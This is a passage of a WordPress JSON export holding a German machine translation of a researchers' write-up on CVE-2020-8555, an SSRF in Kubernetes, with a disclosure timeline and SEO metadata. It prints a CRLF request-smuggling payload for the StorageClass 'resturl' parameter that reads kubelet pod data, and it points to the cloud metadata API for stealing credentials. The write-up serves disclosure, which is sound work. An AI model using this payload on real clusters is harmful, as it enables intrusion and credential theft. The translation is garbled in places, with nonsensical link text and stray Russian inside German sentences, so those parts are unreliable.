verzichten vorerst auf die Ver\u00f6ffentlichung des PoC).<\/p>\n<p>Es wurde entdeckt <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">in Cisco-Switches die gesamte Unternehmensnetzwerkwelt fast weltweit in Frage.<\/a><\/noindex>, die Versionen von Golang unter 1.12 betrifft und Hackern HTTP-Smuggling\/CRLF-Angriffe erm\u00f6glicht.<\/p>\n<p>Indem wir den oben beschriebenen halb-blinden SSRF <b>kombinierten.<\/b> Dank dieser M\u00f6glichkeit konnten wir Anfragen nach Belieben senden, einschlie\u00dflich der Anpassung von Headers, HTTP-Methoden, Parametern und Daten, die der kube-controller-manager dann verarbeitet hat.<\/p>\n<p>Hier ist ein Beispiel f\u00fcr einen funktionierenden \"Hook\" im Parameter <code>resturl<\/code> StorageClass&#8217;\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0430\u0442\u0430\u043a\u0438:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET \/pods? HTTP\/1.1\r\nHost: 172.31.X.1:10255<\/code><\/pre>\n<p>\nDies f\u00fchrt zu einem Fehler <b>unsolicited response<\/b>, dessen Meldung in die Logs des Controllers geschrieben wird. Aufgrund der standardm\u00e4\u00dfig aktivierten \"Verbose\"-Eigenschaft wird dort auch der Inhalt der HTTP-Antwort gespeichert.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDas war unser erfolgreichster \"Hook\" im Rahmen des Proof of Concept.<\/p>\n<p>Durch diesen Ansatz konnten wir einige der folgenden Angriffe in Clustern verschiedener Managed-Kubernetes-Anbieter durchf\u00fchren: Privilegieneskalation zur Erlangung von Anmeldeinformationen auf Metadata-Instanzen, DoS-Angriffe auf den Master durch (unverschl\u00fcsselte) HTTP-Anfragen an Master-Instanzen von etcd usw.<\/p>\n<h2>Folgen<\/h2>\n<p>\nIn der offiziellen Erkl\u00e4rung von Kubernetes zur von uns entdeckten SSRF-Sicherheitsanf\u00e4lligkeit wurde ihr eine Bewertung von <b>CVSS 6.3\/10 zugewiesen.<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Wenn man nur die Sicherheitsanf\u00e4lligkeit im Zusammenhang mit dem Kubernetes-Papier betrachtet, wird der Integrit\u00e4tsvektor <i>(Integrit\u00e4tsvektor)<\/i> darin als <b>None<\/b>.<\/p>\n<p>Die Bewertung der potenziellen Auswirkungen im Kontext einer verwalteten Serviceumgebung (und das war der interessanteste Teil unserer Untersuchung!) hat uns jedoch dazu veranlasst, die Schwachstelle auf die Bewertung <b>Kritisch CVSS10\/10<\/b> f\u00fcr viele Anbieter neu zu klassifizieren.<\/p>\n<p>Im Folgenden finden Sie zus\u00e4tzliche Informationen, die helfen, zu verstehen, auf welcher Grundlage wir die potenziellen Auswirkungen in Cloud-Umgebungen bewertet haben:<\/p>\n<h3>Integrit\u00e4t<\/h3>\n<p><\/p>\n<ul>\n<li> Remote-Code-Ausf\u00fchrung mit erlangten internen Anmeldedaten.<\/li>\n<li> Wiedergabe des oben beschriebenen Szenarios durch IDOR (Insecure Direct Object Reference, d.h. unsichere direkte Objektverweise) mit anderen in der lokalen Umgebung gefundenen Ressourcen.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Vertraulichkeit<\/h3>\n<p><\/p>\n<ul>\n<li> Die Art des Angriffs <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Laterale Bewegung<\/a><\/noindex> dank des Diebstahls von Cloud-Anmeldeinformationen (z.B. Metadata API).<\/li>\n<li> Informationsbeschaffung durch Scannen des lokalen Netzwerks (Ermittlung der SSH-Version, der HTTP-Server-Version, ...).<\/li>\n<li> Informationsbeschaffung \u00fcber Instanzen und Infrastruktur durch Abfragen interner APIs wie Metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Die Kunden-Daten sollten durch Cloud-Anmeldedaten gesch\u00fctzt werden.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Verf\u00fcgbarkeit<\/h3>\n<p>\nAlle Anwendungsszenarien von Exploits, die mit Angriffspunkten verbunden sind, <b>integrity (Integrit\u00e4t)<\/b>, k\u00f6nnen f\u00fcr destruktive Aktionen genutzt werden und dazu f\u00fchren, dass Master-Instanzen aus dem Kundenperimeter (oder von anderen) nicht mehr erreichbar sind.<\/p>\n<p>Da wir uns in einer verwalteten K8s-Umgebung befanden und die Auswirkungen auf die Integrit\u00e4t bewerteten, l\u00e4sst sich eine Vielzahl von Szenarien vorstellen, die die Verf\u00fcgbarkeit beeintr\u00e4chtigen k\u00f6nnten. Zu weiteren Beispielen z\u00e4hlen Besch\u00e4digungen der etcd-Datenbank oder das Ausf\u00fchren eines kritischen API-Aufrufs an Kubernetes.<\/p>\n<h2>Chronologie<\/h2>\n<p><\/p>\n<ul>\n<li> 6. Dezember 2019: Meldung einer entdeckten Schwachstelle an das MSRC Bug Bounty.<\/li>\n<li> 3. Januar 2020: Ein Dritter informierte die Entwickler von Kubernetes dar\u00fcber, dass wir an einem Sicherheitsproblem arbeiten. Er bat darum, SSRF als interne (in-core) Schwachstelle zu betrachten. Anschlie\u00dfend pr\u00e4sentierten wir einen umfassenden Bericht mit technischen Details zur Quelle des Problems.<\/li>\n<li> 15. Januar 2020: Auf Anfrage der Kubernetes-Entwickler haben wir technische und allgemeine Berichte \u00fcber die Plattform HackerOne bereitgestellt.<\/li>\n<li> 15. Januar 2020: Die Entwickler von Kubernetes haben uns dar\u00fcber informiert, dass die half-blind SSRF + CRLF-Injektion in fr\u00fcheren Versionen als in-core-Sicherheitsanf\u00e4lligkeit eingestuft wird. Wir haben sofort die Analyse der Grenzen anderer Anbieter eingestellt: Das Problem wird nun vom K8s-Team bearbeitet.<\/li>\n<li> 15. Januar 2020: Belohnung durch MSRC \u00fcber HackerOne erhalten.<\/li>\n<li> 16. Januar 2020: Das Kubernetes PSC (Product Security Committee) hat die Sicherheitsanf\u00e4lligkeit anerkannt und gebeten, diese bis Mitte M\u00e4rz geheim zu halten, aufgrund der hohen Zahl potenzieller Opfer.<\/li>\n<li> 11. Februar 2020: Belohnung von Google VRP erhalten.<\/li>\n<li> 4. M\u00e4rz 2020: Belohnung von Kubernetes \u00fcber HackerOne erhalten.<\/li>\n<li> 15. M\u00e4rz 2020: Die urspr\u00fcnglich geplante \u00f6ffentliche Bekanntgabe wurde aufgrund der COVID-19-Situation verschoben.<\/li>\n<li> 1. Juni 2020: Gemeinsame Erkl\u00e4rung von Kubernetes + Microsoft zur Sicherheitsanf\u00e4lligkeit.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Wir trinken Bier und essen Pizza \ud83d\ude42<\/li>\n<li> Wir haben eine in-core-Sicherheitsanf\u00e4lligkeit in Kubernetes entdeckt, obwohl wir das nicht geplant hatten.<\/li>\n<li> Wir haben eine zus\u00e4tzliche Analyse in den Clustern verschiedener Cloud-Anbieter durchgef\u00fchrt und konnten den durch die Sicherheitsanf\u00e4lligkeit verursachten Schaden erh\u00f6hen, um zus\u00e4tzliche gro\u00dfartige Boni zu erhalten.<\/li>\n<li> In diesem Artikel finden Sie zahlreiche technische Einzelheiten. Wir freuen uns darauf, diese mit Ihnen zu besprechen (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Es stellte sich heraus, dass die ganzen Formalit\u00e4ten und die Erstellung von Berichten viel mehr Zeit in Anspruch nehmen als erwartet.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-Gruppe kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang Issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. vom \u00dcbersetzer<\/h2>\n<p>\nLesen Sie auch in unserem Blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Die Fehlersuche in Kubernetes ist offiziell er\u00f6ffnet<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">\u0412\u044b\u0445\u043e\u0434 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b pod&#8217;\u0430 \u0432 Kubernetes \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043b\u043e\u0433\u043e\u0432<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ Werkzeuge zur Sicherheit von Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Quelle: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"de_DE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Wenn es nicht nur um eine Schwachstelle in Kubernetes geht\u2026 | ProHoster","description":"Hinweis des \u00dcbersetzers: Die Autoren dieses Artikels erl\u00e4utern detailliert, wie sie die Schwachstelle CVE-2020-8555 in Kubernetes entdeckt haben. Obwohl sie zun\u00e4chst nicht sehr gef\u00e4hrlich erschien, stellte sich ihre Kritikalit\u00e4t in Kombination mit anderen Faktoren f\u00fcr einige Cloud-Anbieter als maximal heraus. Die geleistete Arbeit wurde von mehreren Organisationen gro\u00dfz\u00fcgig belohnt. Wer sind wir: Wir sind zwei Franzosen","canonical_url":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445","og:url":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58"},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}